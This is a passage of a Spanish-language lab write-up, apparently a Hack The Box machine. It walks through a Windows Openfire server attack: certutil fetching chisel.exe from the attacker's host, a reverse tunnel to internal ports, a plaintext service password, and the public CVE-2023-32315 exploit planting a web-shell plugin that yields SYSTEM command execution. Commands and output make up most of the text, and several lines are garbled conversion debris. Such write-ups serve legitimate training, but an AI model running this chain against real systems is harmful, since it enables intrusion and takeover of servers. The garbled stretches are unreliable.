certutil.exe -urlcache -f http://<tun0>:8000/chisel.exe chisel.exe
git clone https://github.com/jpillora/chisel.git
apt-get install chisel
#El servidor con chisel, no me ha funcionado correctamente.
#Lo he ejecutado con python3.
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.16.84 - - [09/Mar/2024 20:45:54] "GET /chisel.exe HTTP/1.1" 200 -
10.10.11.4 - - [09/Mar/2024 20:46:00] "GET /chisel.exe HTTP/1.1" 200 -
PS C: \label{eq:psc} \label{eq:psc} PS C: \label{eq:psc} $$ C: \label{eq:psc} $$ C: \label{eq:psc} $$ C: \label{eq:psc} $$ PS C: \label{eq:psc} $$ C: \label{eq:psc} $$ PS C
**** Online ****
CertUtil: -URLCache command completed successfully.
#Ya tenemos el chisel.exe en la máquina víctima. Podemos comenzar con el por forwarding
#Iniciamos el servidor en localhost.
hisel server -p 8050 -- reverse
2024/03/09 20:52:33 server: Reverse tunnelling enabled
2024/03/09 20:52:33 server: Fingerprint bm70asmytMf+modAFLN91OuFivROJhznjT88ueb5yQY=
2024/03/09 20:52:33 server: Listening on http://0.0.0.0:8050
2024/03/09 20:56:28 server: session#1: Client version (1.9.1) differs from server version (1.9.1-0kali1)
2024/03/09 20:56:28 server: session#1: tun: proxy#R:9090=>9090: Listening
2024/03/09 20:56:28 server: session#1: tun: proxy#R:9091=>9091: Listening
#En la máquina victima..
PS C:\users\svc_openfire\Downloads> ./chisel.exe client 10.10.16.84:8050 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
**** Online ****
CertUtil: -URLCache command completed successfully.
#En nuesta máquina atacante, escribiremos:
```

10/11

#Luego en la consola, iniciaremo sessión con las credenciales:

user → svc_openfire

passwd --> !@#\$%^&*(1qazxsw

#Después de esto, simplemente miré la vulnerabilidad CVE-2023-32315 y obtuve información sobre cómo funciona. La parte principal del exploit ha sido parcheada en la versión 4.7.5, sin embargo, la parte secundaria no, y como ya tengo acceso, no necesito la primera parte.

#Tenemos este script que nos dará RCE

git clone https://github.com/miko550/CVE-2023-32315.git

#Para obtener RCE necesitamos cargar este archivo .jar como complemento.

"Complementos" en la parte superior → Explorar y cargar complementos → Deberías ver una contraseña en la descripción "pasar 123".

#Vamos a /plugins: http://127.0.0.1:9090/plugin-admin.jsp

#Cuando subimos el fichero .jar el servidor nos dice:

Description	Author	Restart	Delete
Management Tool	pass 123	0.0.0	author

#Vamos a: http://127.0.0.1:9090/plugins/openfire-management-tool-plugin/cmd.jsp

#Ponemos las passs → 123

openfire management tool

Server Information

server name 127.0.0.1

server port 9090

operating system Windows Server 2019 10.0 null

Current username DC01\$ Current user directory null

Current user working directory C:\Program Files\Openfire\bin

Program relative path /plugins/openfire-management-tool-plugin/cmd.jsp

Absolute program path C:\Program Files\Openfire\plugins\admin\webapp\plugins

Network protocol HTTP/1.1

Server software version information jetty/9.4.43.v20210629

JDK version null

JDK installation path null JAVA virtual machine version null

JAVA virtual machine name Java HotSpot(TM) 64-Bit Server VM

JAVA class path null

JAVA load library search path c:\program files\java\jre-1.8\bin;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:

\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\\;C:

 $\label{lem:condition} $$ \windows\system 32\OpenSSH\; C:\ProgramData\chocolatey\bin; C: $$$

 $\label{thm:local-microsoft-windows-pps} $$ \windows\space{2mm} AppData\Local\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\Microsoft\Windows\space{2mm} AppData\$

JAVA temporary directory C:\Windows\TEMP\

JIT compiler name

extended directory path c:\program files\java\jre-1.8\lib\ext;C:\Windows\Sun\Java\lib\ext

Client Information

client address 127.0.0.1

service machine name 127.0.0.1

Username

Request method http

Apply Secure Sockets Layer No

#Cambiamos a system comand

whoami

 $nt\neg \uparrow authority \land system$